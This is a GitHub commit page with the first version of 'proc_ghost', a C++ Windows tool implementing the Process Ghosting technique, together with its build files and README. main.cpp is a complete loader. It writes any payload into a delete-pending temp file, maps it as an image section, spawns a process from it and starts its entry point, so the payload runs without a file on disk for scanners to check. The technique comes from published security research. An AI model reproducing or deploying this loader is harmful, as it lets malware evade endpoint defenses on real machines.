Skip to content

Commit 507e70c

Browse files
committed
[INIT] First working version
0 parents  commit 507e70c

14 files changed

+5173
-0
lines changed

.appveyor.yml

+44
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
os:
2+
- Visual Studio 2015
3+
4+
platform:
5+
- x64
6+
7+
branches:
8+
only:
9+
- master
10+
11+
install:
12+
- set PATH=C:\Program Files\CMake\bin;%PATH%
13+
14+
build:
15+
verbosity: detailed
16+
17+
configuration:
18+
- Release
19+
20+
environment:
21+
artifactName: $(APPVEYOR_PROJECT_NAME)-$(APPVEYOR_REPO_COMMIT)-$(CONFIGURATION)
22+
matrix:
23+
- env_arch: "x64"
24+
- env_arch: "x86"
25+
26+
before_build:
27+
- mkdir build
28+
- cd build
29+
- if [%env_arch%]==[x64] (
30+
cmake .. -A x64 )
31+
- if [%env_arch%]==[x86] (
32+
cmake .. )
33+
- cmake -DCMAKE_INSTALL_PREFIX:PATH=%APPVEYOR_BUILD_FOLDER%/%APPVEYOR_REPO_COMMIT% ..
34+
35+
build_script:
36+
- cmake --build . --config %CONFIGURATION% --target install
37+
38+
after_build:
39+
- mkdir %artifactName%
40+
- cp %APPVEYOR_BUILD_FOLDER%/%APPVEYOR_REPO_COMMIT%/* %artifactName%
41+
42+
artifacts:
43+
- path: build\%artifactName%
44+

CMakeLists.txt

+25
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
cmake_minimum_required (VERSION 2.8)
2+
project (proc_ghost)
3+
4+
set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} /MT")
5+
6+
set (srcs
7+
main.cpp
8+
util.cpp
9+
ntdll_undoc.cpp
10+
pe_hdrs_helper.cpp
11+
process_env.cpp
12+
)
13+
14+
set (hdrs
15+
util.h
16+
ntdll_undoc.h
17+
ntdll_types.h
18+
ntddk.h
19+
pe_hdrs_helper.h
20+
process_env.h
21+
)
22+
23+
add_executable (proc_ghost ${hdrs} ${srcs})
24+
25+
INSTALL( TARGETS ${PROJECT_NAME} DESTINATION ${CMAKE_INSTALL_PREFIX} COMPONENT ${PROJECT_NAME} )

README.md

+17
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
Process Ghosting
2+
==========
3+
This is my implementation of the technique presented by Gabriel Landau (Elastic Security)<br/>
4+
https://www.elastic.co/blog/process-ghosting-a-new-executable-image-tampering-attack
5+
6+
Characteristics:
7+
-
8+
9+
+ Payload mapped as `MEM_IMAGE` (unnamed: not linked to any file)
10+
+ Sections mapped with original access rights (no `RWX`)
11+
+ Payload connected to PEB as the main module
12+
+ Remote injection supported (but only into a newly created process)
13+
+ Process is created from an unnamed module (`GetProcessImageFileName` returns empty string)
14+
15+
<hr/>
16+
<b>WARNING:</b> <br/>
17+
The 32bit version works on 32bit system only.

main.cpp

+234
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,234 @@
1+
#include <Windows.h>
2+
3+
#include <iostream>
4+
#include <stdio.h>
5+
6+
#include "ntddk.h"
7+
#include "ntdll_undoc.h"
8+
#include "util.h"
9+
10+
#include "pe_hdrs_helper.h"
11+
#include "process_env.h"
12+
#pragma comment(lib, "Ntdll.lib")
13+
14+
HANDLE open_file(wchar_t* filePath)
15+
{
16+
// convert to NT path
17+
std::wstring nt_path = L"\\??\\" + std::wstring(filePath);
18+
19+
UNICODE_STRING file_name = { 0 };
20+
RtlInitUnicodeString(&file_name, nt_path.c_str());
21+
22+
OBJECT_ATTRIBUTES attr = { 0 };
23+
InitializeObjectAttributes(&attr, &file_name, OBJ_CASE_INSENSITIVE, NULL, NULL);
24+
25+
IO_STATUS_BLOCK status_block = { 0 };
26+
HANDLE file = INVALID_HANDLE_VALUE;
27+
NTSTATUS stat = NtOpenFile(&file, DELETE | GENERIC_READ | GENERIC_WRITE, &attr, &status_block, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_SUPERSEDE);
28+
if (!NT_SUCCESS(stat)) {
29+
std::cout << "Failed to open, status: " << std::hex << stat << std::endl;
30+
return INVALID_HANDLE_VALUE;
31+
}
32+
std::wcout << "[+] Created temp path: " << filePath << "\n";
33+
return file;
34+
}
35+
36+
HANDLE make_section_from_delete_pending_file(wchar_t* filePath, BYTE* payladBuf, DWORD payloadSize)
37+
{
38+
HANDLE hDelFile = open_file(filePath);
39+
if (!hDelFile || hDelFile == INVALID_HANDLE_VALUE) {
40+
std::cerr << "Failed to create file" << std::dec << GetLastError() << std::endl;
41+
return INVALID_HANDLE_VALUE;
42+
}
43+
NTSTATUS status = 0;
44+
IO_STATUS_BLOCK status_block = { 0 };
45+
46+
/* Set disposition flag */
47+
FILE_DISPOSITION_INFORMATION info = { 0 };
48+
info.DeleteFile = TRUE;
49+
50+
status = NtSetInformationFile(hDelFile, &status_block, &info, sizeof(info), FileDispositionInformation);
51+
if (!NT_SUCCESS(status))
52+
{
53+
std::cout << "Setting information failed: " << std::hex << status << "\n";
54+
return INVALID_HANDLE_VALUE;
55+
}
56+
std::cout << "[+] Information set\n";
57+
58+
LARGE_INTEGER ByteOffset = { 0 };
59+
60+
status = NtWriteFile(
61+
hDelFile,
62+
NULL,
63+
NULL,
64+
NULL,
65+
&status_block,
66+
payladBuf,
67+
payloadSize,
68+
&ByteOffset,
69+
NULL
70+
);
71+
if (!NT_SUCCESS(status)) {
72+
DWORD err = GetLastError();
73+
std::cerr << "Failed writing payload! Error: " << std::hex << err << std::endl;
74+
return INVALID_HANDLE_VALUE;
75+
}
76+
std::cout << "[+] Written!\n";
77+
78+
HANDLE hSection = nullptr;
79+
status = NtCreateSection(&hSection,
80+
SECTION_ALL_ACCESS,
81+
NULL,
82+
0,
83+
PAGE_READONLY,
84+
SEC_IMAGE,
85+
hDelFile
86+
);
87+
if (status != STATUS_SUCCESS) {
88+
std::cerr << "NtCreateSection failed: " << std::hex << status << std::endl;
89+
return INVALID_HANDLE_VALUE;
90+
}
91+
NtClose(hDelFile);
92+
hDelFile = nullptr;
93+
94+
return hSection;
95+
}
96+
97+
bool process_ghost(wchar_t* targetPath, BYTE* payladBuf, DWORD payloadSize)
98+
{
99+
wchar_t dummy_name[MAX_PATH] = { 0 };
100+
wchar_t temp_path[MAX_PATH] = { 0 };
101+
DWORD size = GetTempPathW(MAX_PATH, temp_path);
102+
GetTempFileNameW(temp_path, L"TH", 0, dummy_name);
103+
104+
HANDLE hSection = make_section_from_delete_pending_file(dummy_name, payladBuf, payloadSize);
105+
if (!hSection || hSection == INVALID_HANDLE_VALUE) {
106+
return false;
107+
}
108+
HANDLE hProcess = nullptr;
109+
NTSTATUS status = NtCreateProcessEx(
110+
&hProcess, //ProcessHandle
111+
PROCESS_ALL_ACCESS, //DesiredAccess
112+
NULL, //ObjectAttributes
113+
NtCurrentProcess(), //ParentProcess
114+
PS_INHERIT_HANDLES, //Flags
115+
hSection, //sectionHandle
116+
NULL, //DebugPort
117+
NULL, //ExceptionPort
118+
FALSE //InJob
119+
);
120+
if (status != STATUS_SUCCESS) {
121+
std::cerr << "NtCreateProcessEx failed! Status: " << std::hex << status << std::endl;
122+
if (status == STATUS_IMAGE_MACHINE_TYPE_MISMATCH) {
123+
std::cerr << "[!] The payload has mismatching bitness!" << std::endl;
124+
}
125+
return false;
126+
}
127+
128+
PROCESS_BASIC_INFORMATION pi = { 0 };
129+
130+
DWORD ReturnLength = 0;
131+
status = NtQueryInformationProcess(
132+
hProcess,
133+
ProcessBasicInformation,
134+
&pi,
135+
sizeof(PROCESS_BASIC_INFORMATION),
136+
&ReturnLength
137+
);
138+
if (status != STATUS_SUCCESS) {
139+
std::cerr << "NtQueryInformationProcess failed" << std::endl;
140+
return false;
141+
}
142+
PEB peb_copy = { 0 };
143+
if (!buffer_remote_peb(hProcess, pi, peb_copy)) {
144+
return false;
145+
}
146+
ULONGLONG imageBase = (ULONGLONG) peb_copy.ImageBaseAddress;
147+
#ifdef _DEBUG
148+
std::cout << "ImageBase address: " << (std::hex) << (ULONGLONG)imageBase << std::endl;
149+
#endif
150+
DWORD payload_ep = get_entry_point_rva(payladBuf);
151+
ULONGLONG procEntry = payload_ep + imageBase;
152+
153+
if (!setup_process_parameters(hProcess, pi, targetPath)) {
154+
std::cerr << "Parameters setup failed" << std::endl;
155+
return false;
156+
}
157+
std::cout << "[+] Process created! Pid = " << GetProcessId(hProcess) << "\n";
158+
#ifdef _DEBUG
159+
std::cerr << "EntryPoint at: " << (std::hex) << (ULONGLONG)procEntry << std::endl;
160+
#endif
161+
HANDLE hThread = NULL;
162+
status = NtCreateThreadEx(&hThread,
163+
THREAD_ALL_ACCESS,
164+
NULL,
165+
hProcess,
166+
(LPTHREAD_START_ROUTINE) procEntry,
167+
NULL,
168+
FALSE,
169+
0,
170+
0,
171+
0,
172+
NULL
173+
);
174+
175+
if (status != STATUS_SUCCESS) {
176+
std::cerr << "NtCreateThreadEx failed: " << GetLastError() << std::endl;
177+
return false;
178+
}
179+
180+
return true;
181+
}
182+
183+
int wmain(int argc, wchar_t *argv[])
184+
{
185+
#ifdef _WIN64
186+
const bool is32bit = false;
187+
#else
188+
const bool is32bit = true;
189+
#endif
190+
if (argc < 2) {
191+
std::cout << "Process Ghosting (";
192+
if (is32bit) std::cout << "32bit";
193+
else std::cout << "64bit";
194+
std::cout << ")\n";
195+
std::cout << "params: <payload path> [*target path]\n" << std::endl;
196+
std::cout << "* - optional" << std::endl;
197+
system("pause");
198+
return 0;
199+
}
200+
if (init_ntdll_func() == false) {
201+
return -1;
202+
}
203+
wchar_t defaultTarget[MAX_PATH] = { 0 };
204+
get_calc_path(defaultTarget, MAX_PATH, is32bit);
205+
wchar_t *targetPath = defaultTarget;
206+
if (argc >= 3) {
207+
targetPath = argv[2];
208+
}
209+
wchar_t *payloadPath = argv[1];
210+
size_t payloadSize = 0;
211+
212+
BYTE* payladBuf = buffer_payload(payloadPath, payloadSize);
213+
if (payladBuf == NULL) {
214+
std::cerr << "Cannot read payload!" << std::endl;
215+
return -1;
216+
}
217+
218+
bool is_ok = process_ghost(targetPath, payladBuf, (DWORD) payloadSize);
219+
220+
free_buffer(payladBuf, payloadSize);
221+
if (is_ok) {
222+
std::cerr << "[+] Done!" << std::endl;
223+
} else {
224+
std::cerr << "[-] Failed!" << std::endl;
225+
#ifdef _DEBUG
226+
system("pause");
227+
#endif
228+
return -1;
229+
}
230+
#ifdef _DEBUG
231+
system("pause");
232+
#endif
233+
return 0;
234+
}

0 commit comments

Comments
 (0)